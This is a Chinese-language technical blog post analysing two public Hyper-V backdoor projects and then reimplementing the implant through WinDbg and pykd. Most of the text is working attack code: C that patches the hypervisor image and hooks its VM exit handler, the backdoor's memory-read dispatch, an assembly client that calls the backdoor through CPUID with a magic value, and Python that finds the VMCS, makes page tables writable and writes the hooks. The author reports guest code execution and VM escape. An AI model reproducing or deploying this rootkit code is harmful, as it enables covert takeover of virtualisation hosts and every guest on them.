Hyper-v后门
参考以下两个项目:
DMABackdoorHv:基于DMA预启动的Hyper-v后门实现。
SmmBackdoorNg:基于SMM后门的Hyper-v后门运行时的植入。
该后门主要实现了对虚拟机管理程序的劫持,能够获取虚拟主机的执行状态(VMCS、物理内存、虚拟内存、寄存器等),并执行虚拟机逃逸。
DMABackdoorHv分析
这是UEFI引导后门的一部分,关于UEFI引导后门的原理这里就不提了(说起来好像还没整理这边的笔记…有空再整吧)
与UEFI引导后门类似,它在引导过程中对winload进行劫持,不但需要获取控制权,还需要获取hvix64——也就是Hyper-v的虚拟机管理程序镜像的加载地址。
通过Hook winload!BlLdrLoadImage()来获取vm image基址:
LDR_DATA_TABLE_ENTRY *LdrEntry = *(LDR_DATA_TABLE_ENTRY **)arg_08;
// check for the Hyper-V image
if (m_HvInfo.ImageBase == NULL && LdrGetProcAddress(LdrEntry->DllBase, "HvImageInfo") != NULL)
{
m_HvInfo.Status = BACKDOOR_ERR_HYPER_V_EXIT;
m_HvInfo.ImageBase = LdrEntry->DllBase;
m_HvInfo.ImageEntry = LdrEntry->EntryPoint;
// locate and hook VM exit handler
if ((m_HvInfo.VmExit = HyperVHook(LdrEntry->DllBase)) != NULL)
{
m_HvInfo.Status = BACKDOOR_SUCCESS;
}
}
通过hook该函数,能够获取winload的各个导出函数地址,其中就包含HvImageInfo函数,指向hvix64的基址。然后只需将基址传入hyper-v Hook函数中,执行Hook功能。
HyperVHook函数中需要查找.rsrc段,用0填充该段,存放shellcode代码,并修改属性为可执行,使后门代码可正常执行:
// find resources section by name
for (i = 0; i < pHeaders->FileHeader.NumberOfSections; i += 1, pSection += 1)
{
#define SECTION_PERM (EFI_IMAGE_SCN_MEM_READ | EFI_IMAGE_SCN_MEM_WRITE | EFI_IMAGE_SCN_MEM_EXECUTE)
if (std_strcmp((char *)&pSection->Name, ".rsrc") == 0)
{
if (pSection->Characteristics == SECTION_PERM)
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): Image is already patched\r\n");
return NULL;
}
Buff = RVATOVA(Image, pSection->VirtualAddress);
BuffSize = ALIGN_UP(pSection->Misc.VirtualSize, pHeaders->OptionalHeader.SectionAlignment);
DbgMsg(
__FILE__, __LINE__, __FUNCTION__"(): Resources section RVA is 0x%x (0x%x bytes)\r\n",
pSection->VirtualAddress, BuffSize
);
if (BuffSize < PAGE_SIZE || (pSection->VirtualAddress & (PAGE_SIZE - 1)) != 0)
{
DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Invalid address/size\r\n");
return NULL;
}
// erase section contents
std_memset(Buff, 0, BuffSize);
// update section attributes
pSection->Characteristics = SECTION_PERM;
pSection->Misc.VirtualSize = BuffSize;
break;
}
}
...
// copy backdoor code
std_memcpy(Buff, (VOID *)&HyperVBackdoor, CodeLen);
Ptr += CodeLen;
原始的.rsrc段只是用来存放资源信息的,有0x400个字节的大小来放后门:
前0x2ac字节为backdoor代码,后面为劫持代码。首先调用backdoor,并恢复堆栈:
// save registers
std_memcpy(Buff + Ptr, RegPush, sizeof(RegPush));
Ptr += sizeof(RegPush);
// call of the backdoor code
*(Buff + Ptr) = 0xe8;
*(UINT32 *)(Buff + Ptr + 1) = JUMP32_OP(Buff + Ptr, Buff);
Ptr += JUMP32_LEN;
// restore registers
std_memcpy(Buff + Ptr, RegPop, sizeof(RegPop));
Ptr += sizeof(RegPop);
将原始的vm exit handler的前HookLen个字节存到Buff + Ptr 地址处:
// save original bytes of VM exit handler
std_memcpy(Buff + Ptr, Func, HookLen);
Ptr += HookLen;
vm exit handler中的原始函数为:
Patch backdoor的最后5个字节,该偏移跳转到.text节区的vm exit handler的正常执行流程中:
// jump to the function body
*(Buff + Ptr) = 0xe9;
*(UINT32 *)(Buff + Ptr + 1) = JUMP32_OP(Buff + Ptr, Func + HookLen);
patch *Func的前5个字节,该偏移将跳转到.rsrc节区+2ac偏移处,执行backdoor代码:
// jump to the handler
*Func = 0xe9;
*(UINT32 *)(Func + 1) = JUMP32_OP(Func, Buff + CodeLen);
劫持后门执行流程总结为:
1、劫持call vm exit handler地址,将其跳转至hyper-v backdoor代码中。
2、执行hyper-v backdoor代码功能。
3、跳转回vm exit handler中,正常执行接下来的功能。
植入后门代码根据不同控制码来执行功能:
// offset of the HVBD_DATA
#define HVBD_DATA_ADDR (PAGE_SIZE - sizeof(HVBD_DATA))
//--------------------------------------------------------------------------------------
VOID HyperVBackdoor(VOID *arg_1, VOID *arg_2, VOID *arg_3, VOID *arg_4)
{
// 2-nd argument is pointer to the backdoor section
// 第二个参数指向backdoor节区地址
PHVBD_DATA BackdoorData = (PHVBD_DATA)((UINT8 *)arg_2 + HVBD_DATA_ADDR);
UINT64 ExitReason = 0;
VM_GUEST_STATE *Context = NULL;
// 从VM guest state获取vm exit时的寄存器值
if (BackdoorData->Version >= 1809)
{
// 1-st argument is address of guest saved state pointer
// 第一个参数是指向guest saved state pointer的地址
Context = *(VM_GUEST_STATE **)arg_1;
}
else
{
// 1-st argument is guest saved state pointer
// 第一个参数是guest saved state指针
Context = (VM_GUEST_STATE *)arg_1;
}
// read VM exit reason
__vmx_vmread(VM_EXIT_REASON, &ExitReason);
// check for request from the client
if (Context->R10 == HVBD_VM_EXIT_MAGIC)
{
EFI_STATUS Status = EFI_INVALID_PARAMETER;
UINT64 Code = Context->R11;
UINT64 *Arg0 = &Context->R12;
UINT64 *Arg1 = &Context->R13;
UINT64 *Arg2 = &Context->R14;
...
...
else if (Code == HVBD_C_VIRT_READ)
{
// read virtual memory qword
*Arg1 = *(UINT64 *)*Arg0;
Status = EFI_SUCCESS;
}
...
在控制端中主要通过下面的backdoor_call功能实现与后门的通信:
.code
public backdoor_call
;
; magic R10 value to activate VM exit backdoor
;
HVBD_VM_EXIT_MAGIC = 5AD0432ADFC25B2Bh
backdoor_call:
push r10
push r11
push r12
push r13
push r14
push r15
mov rax, 1
; setup backdoor input arguments
mov r10, HVBD_VM_EXIT_MAGIC
mov r11, rcx
mov r12, [rdx]
mov r13, [r8]
mov r14, [r9]
mov r15, 0
push rcx
push rbx
push rdx
cpuid ; call the backdoor
pop rdx
pop rbx
pop rcx
; check if R10 value was changed by the backdoor
mov rax, HVBD_VM_EXIT_MAGIC
cmp r10, rax
je _err
mov rax, r10
; copy output arguments
mov [rdx], r12
mov [r8], r13
mov [r9], r14
jmp _end
_err:
; backdoor is not present
xor rax, rax
dec rax
_end:
pop r15
pop r14
pop r13
pop r12
pop r11
pop r10
ret
end
将参数入栈,然后调用CPUID,触发vm exit,将控制码传递给位于虚拟机管理程序中的hyper-v后门代码。
SmmBackdoorNg分析
与UEFI引导后门不同,SMM后门植入是在运行时下完成的,运行时下winload已经释放,虚拟机管理程序也完成了加载,所有劫持操作都只能通过内存读写来完成。
但用于植入到虚拟机管理程序中的后门代码仍可使用DMABackdoorHv中的那一套,功能都是一样的。
基于SMM的Hyper-v后门植入流程如下:
- 遍历查找VMCS
- 获取HOST_RIP和HOST_CR3
- 根据CR3地址查找已分配的低位内存和jmp指令,确定backdoor存放地址
- 根据RIP获取vm exit handler和vm exit call的虚拟地址及物理地址
- 获取低位内存的pte,设置内存页为可写
- 查找jump点
- 写入backdoor代码并设置jump点
- 调用time.sleep(VM_EXIT_WAIT)等待vm exit并刷新TLB后完成植入
通过SMM后门代码来遍历物理内存,获取VMCS基址:
def get_hv_info():
vmcs_addr = 0
#
# Some instructions from Hyper-V VM exit handler entry
# to validate potential HOST_RIP value
#
sign = [ '\x48\x89\x51\x10', # mov [rcx+10h], rdx
'\x48\x89\x59\x18', # mov [rcx+18h], rbx
'\x48\x89\x69\x28', # mov [rcx+28h], rbp
'\x48\x89\x71\x30', # mov [rcx+30h], rsi
'\x48\x89\x79\x38' ] # mov [rcx+38h], rdi
print('[+] Searching for VMCS structure in physical memory, this might take a while...\n')
print(' Scan step: 0x%.16x' % mem_scan_step)
print(' Scan from: 0x%.16x' % mem_scan_from)
print(' Scan to: 0x%.16x\n' % mem_scan_to)
while vmcs_addr < mem_scan_to:
# scan physical memory for VMCS candidate
# 向SMM后门发送控制码,获取VMCS区域基址
vmcs_addr = find_vmcs(addr = vmcs_addr if vmcs_addr > 0 else None)
...
...
SMM后门中的获取VMCS代码功能,通过调用内核api和smmcpu api获取到了VMCS revision ID、GDT base、IDT base,再通过内存遍历的方式来查找VMCS。
case BACKDOOR_CTL_FIND_VMCS:
{
UINT64 GdtBase = 0, IdtBase = 0, i = 0;
UINT64 SearchAddr = Ctl.Args.FindVmcs.Addr;
UINT64 SearchSize = Ctl.Args.FindVmcs.Size;
// read basic VMX infomation register
// 获取VMX信息寄存器的基址
UINT64 RevisionId = __readmsr(IA32_VMX_BASIC);
// extract 32 bits of VMCS revision ID value
// VMCS结构的前32位为VMCS revision ID,用于识别VMCS结构区域
RevisionId &= 0xffffffff;
// addess sanity check
if (SearchAddr % PAGE_SIZE != 0)
{
DbgMsg(__FILE__, __LINE__, "ERROR: Invalid memory address\r\n");
Ctl.Status = EFI_INVALID_PARAMETER;
break;
}
// size sanity check
if (SearchSize % PAGE_SIZE != 0 || SearchSize < PAGE_SIZE)
{
DbgMsg(__FILE__, __LINE__, "ERROR: Invalid memory size\r\n");
Ctl.Status = EFI_INVALID_PARAMETER;
break;
}
// get GDT address
// 调用SmmCpu的API来查询保存状态中的GDT地址
Ctl.Status = SmmCpu->ReadSaveState(
SmmCpu, sizeof(GdtBase), EFI_SMM_SAVE_STATE_REGISTER_GDTBASE,
CpuIndex, (VOID *)&GdtBase
);
if (EFI_ERROR(Ctl.Status))
{
DbgMsg(__FILE__, __LINE__, "ReadSaveState() ERROR 0x%x\r\n", Ctl.Status);
break;
}
// get IDT address
// 调用SmmCpu的API来查询保存状态中的IDT地址
Ctl.Status = SmmCpu->ReadSaveState(
SmmCpu, sizeof(IdtBase), EFI_SMM_SAVE_STATE_REGISTER_IDTBASE,
CpuIndex, (VOID *)&IdtBase
);
if (EFI_ERROR(Ctl.Status))
{
DbgMsg(__FILE__, __LINE__, "ReadSaveState() ERROR 0x%x\r\n", Ctl.Status);
break;
}
Ctl.Args.FindVmcs.Found = 0;
// enumerate all of the memory pages of specified region
// 遍历内存
for (i = 0; i < SearchSize; i += PAGE_SIZE)
{
UINT64 PageAddr = SearchAddr + i;
// map physical memoy page at SMM virtual address
// 映射物理地址到SMM虚拟地址
if (PHYS_MAP(PageAddr))
{
UINT8 *TargetAddr = MAPPED_ADDR(PageAddr);
// check for valid VMCS region
// 通过对比Revision ID来定位VMCS区域内存基址
if (*(UINT64 *)TargetAddr == RevisionId)
{
// scan VMCS region for known values
// 通过对比VMCS中已知的GDT和IDT基址来确定找到的VMCS区域正确
if (VmcsSearchVal(TargetAddr, VMCS_SEARCH_SIZE, GdtBase) &&
VmcsSearchVal(TargetAddr, VMCS_SEARCH_SIZE, IdtBase) &&
VmcsSearchVal(TargetAddr, VMCS_SEARCH_SIZE, ControlRegs->Cr0))
{
// potential VMCS was found
Ctl.Args.FindVmcs.Found = PageAddr;
}
}
PHYS_REVERT();
}
if (Ctl.Args.FindVmcs.Found != 0)
{
// return to the caller
Ctl.Status = EFI_SUCCESS;
break;
}
}
获取了VMCS区域后,根据特征遍历0x100个字节,获取RIP和CR3的值:
ptr, host_cr3_list, host_rip_list = 0, [], []
# read VMCS contents
data = bd.read_phys_mem(vmcs_addr, HV_MAX_VMCS)
# 要找RIP和CR3的值最多在VMCS中遍历0x100个字节
while ptr < HV_MAX_VMCS:
# get single VMCS field
val, = unpack('Q', data[ptr : ptr + 8])
# 根据特征获取可能是RIP和CR3值的列表
if val != 0:
if val > 0xfffff80000000000 and val < 0xffffffffff000000:
# possible HOST_RIP value
host_rip_list.append(val)
elif val < HV_MAX_CR3 and val % bd.PAGE_SIZE == 0:
# possible HOST_CR3 value
host_cr3_list.append(val)
ptr += 8
# 遍历列表
for host_cr3 in host_cr3_list:
for host_rip in host_rip_list:
# try to get HOST_RIP physical address
# 获取RIP的物理地址
addr_phys = bd.get_phys_addr(host_rip, cr3 = host_cr3, eptp = None)
if addr_phys is not None:
# read some code from the hypervisor entry
# 从RIP物理地址后读取0x1000个字节
data = bd.read_phys_mem(bd.align_down(addr_phys, bd.PAGE_SIZE), bd.PAGE_SIZE)
# check for VM exit handler signature
# 比较特征码,如正确则返回VMCS基址、rip、cr3地址
if data.find(''.join(sign)) != -1:
return vmcs_addr, host_rip, host_cr3
# VMCS is not valid, continue scan
vmcs_addr += bd.PAGE_SIZE
return None
由于HOST_RIP设置了vm exit的虚拟地址,那么就可以用来获取vm exit handler call函数的物理地址和虚拟地址了。
HOST_CR3可以用于遍历低位内存,查找可存放backdoor的地址,并可以用来修改页表的权限。
读取一页HOST_RIP指向的内存,并通过特征对比来获取vm exit handler call的地址:
code_virt = bd.align_down(host_rip, bd.PAGE_SIZE)
code_phys = bd.get_phys_addr(code_virt, cr3 = host_cr3, eptp = None)
assert code_phys is not None
# read HOST_RIP code page
code = bd.read_phys_mem(code_phys, bd.PAGE_SIZE)
# find VM exit handler call by signature
info = find_vm_exit_call(code)
if info is None:
print('ERROR: Unable to match VM exit handler signature')
return -1
设置backdoor存放地址:
# find HvlpLowMemoryStub() page
low_mem = find_low_mem(host_cr3)
if low_mem is None:
print('ERROR: Unable to find HvlpLowMemoryStub()')
return -1
print('[+] HvlpLowMemoryStub() is at 0x%.16x' % low_mem)
# backdoor code location
backdoor_addr = low_mem + BACKDOOR_OFFSET
根据cr3地址来找已分配的低位内存页和jump指令的位置,用于覆盖backdoor代码,低位内存页从0x1000到0x10000的物理地址和虚拟地址相同,甚至部分位置是可读写可执行权限,十分适合用来放backdoor:
def find_low_mem(cr3):
for i in range(0, 0x10):
addr_virt = bd.PAGE_SIZE * i
addr_phys = bd.get_phys_addr(addr_virt, cr3 = cr3, eptp = None)
# check for allocated and mapped low memory page
# 查找已分配并映射好的低位内存页
if addr_virt == addr_phys:
# check for the short jump instruction
# 查找short jump指令
if bd.read_phys_mem_1(addr_phys) == 0xeb:
return addr_virt
return None
确定了backdoor存放地址后就是找vm exit call的位置了。但需要注意的这里的vm exit call地址需要为虚拟地址,需要用虚拟地址来计算偏移,修改jump点。
# HVBD_DATA structure location
hvbd_addr = low_mem + bd.PAGE_SIZE - HVBD_DATA_SIZE
# vm代码虚拟地址
code_virt = bd.align_down(host_rip, bd.PAGE_SIZE)
code_phys = bd.get_phys_addr(code_virt, cr3 = host_cr3, eptp = None)
assert code_phys is not None
# read HOST_RIP code page
# 读取HOST_RIP代码页
code = bd.read_phys_mem(code_phys, bd.PAGE_SIZE)
# find VM exit handler call by signature
# 查找vm exit handler
info = find_vm_exit_call(code)
if info is None:
print('ERROR: Unable to match VM exit handler signature')
return -1
hv_version, offset = info
# get address of VM exit handler call
# 获取vm exit handler call的虚拟及物理地址
vm_call_virt = code_virt + offset
vm_call_phys = bd.get_phys_addr(vm_call_virt, cr3 = host_cr3, eptp = None)
assert vm_call_phys is not None
# get VM exit handler call displacement operand
call_op, = unpack('i', bd.read_phys_mem(vm_call_phys + 1, 4))
# get address of VM exit handler
vm_exit_virt = vm_call_virt + call_op + jump_32_len
vm_exit_phys = bd.get_phys_addr(vm_exit_virt, cr3 = host_cr3, eptp = None)
assert vm_exit_phys is not None
print('[+] Host operating system version is %d' % hv_version)
print('[+] VM exit handler is at 0x%.16x' % vm_exit_virt)
print('[+] VM exit handler call is at 0x%.16x' % vm_call_virt)
获取low_mem内存页的pte,将其权限设置为可写:
# make memory page writeable
pte_val |= PT_RW
# update page table entry
bd.write_phys_mem_8(pte_addr, pte_val)
接下来就是构造shellcode,修改hook点操作了。
劫持流程总结如下图:
结合windbg调试来看劫持流程:
1、当触发vm exit时,hvix64会执行到vm exit call处,将call的偏移修改为14位的jump code处:
2、jmp code实现一个64位的远跳转,ff2500000000 机器码为跳转到下一条指令,然后下一条指令直接指向需要跳转到的绝对地址,也就是backdoor entry处。
3、backdoor entry首先将寄存器入栈,然后再调用backdoor addr,运行后门功能代码。
4、后门功能代码调用完成后,再恢复栈,然后跳转到vm exit handler,正常执行:
5、这样就实现了一个驻留在vm exit handler中的后门代码了,每当触发vm exit,都会触发后门。
基于windbg内存读写的hyper-v后门实现
分析完SMM后门发现,只要有物理内存和虚拟内存的读写权限以及hvix64.exe的基址就能完成这一套植入了。
那么就用windbg来试试看。
测试环境为Windows Server 2012 R2,也是DMABackdoorHv没有提供兼容支持的版本。
首先逆向Hvix64.exe,找到vm exit handler call的偏移:
加载pykd模块,可在windbg中运行py脚本:
kd> .load <PATH>\pykd_x64\pykd.dll
kd> !py <PATH>\backdoor-infector.py
pykd提供的内存读写api:
- pykd.loadBytes(offset, size, True) : 读取addr, size, True为物理内存,False为虚拟内存
- pykd.setByte(addr, byte): 写入指定字节,addr可为物理或虚拟内存
植入流程
1、需要传入的两个地址:hvix64.exe的基址(虚拟地址)和hvix64.exe .text段的物理地址,cr3为可选项。
这两个值都能直接通过windbg命令来获取:
2、这两个地址用于计算vm exit handler call的虚拟和物理地址:
3、根据找到的vm exit handler call地址,来实时计算vm exit handler的虚拟地址:
读取vm exit handler call指令的后4位,根据该偏移来计算vm exit handler的正确地址:
4、在低位内存中查找短jmp指令0xeb 的位置,用于放backdoor代码,backdoor addr即为low_mem+0x400:
5、获取pte,修改页表的读写权限。这段能省略,经过测试原本low_mem这段内存就有RWX权限了。
6、读取一页vm exit handler call的内存,查找至少14个字节的\xcc数据,用于存放jmp点。
7、构造backdoor code,先读取backdoor的原始数据,然后在后面添加reg_push 、call backdoor、reg_pop 等指令,backdoor code末尾还需加上跳转回vm exit handler的指令,来保证vm exit正常执行。
8、在low_mem后面构造HVBD_DATA结构体,供客户端来读取的交互数据用的。
9、修改14个字节的jmp点跳转到backdoor entry:
10、修改vm exit handler call到14个字节的jmp点:
11、等待vm exit触发,并刷新TLB:
这样一套下来后门植入就成功了,windbg测试输出:
进系统,本地执行客户端程序:
基本的hypervisor信息获取、物理地址虚拟地址读取转换、客户机任意代码执行都能实现。
近期评论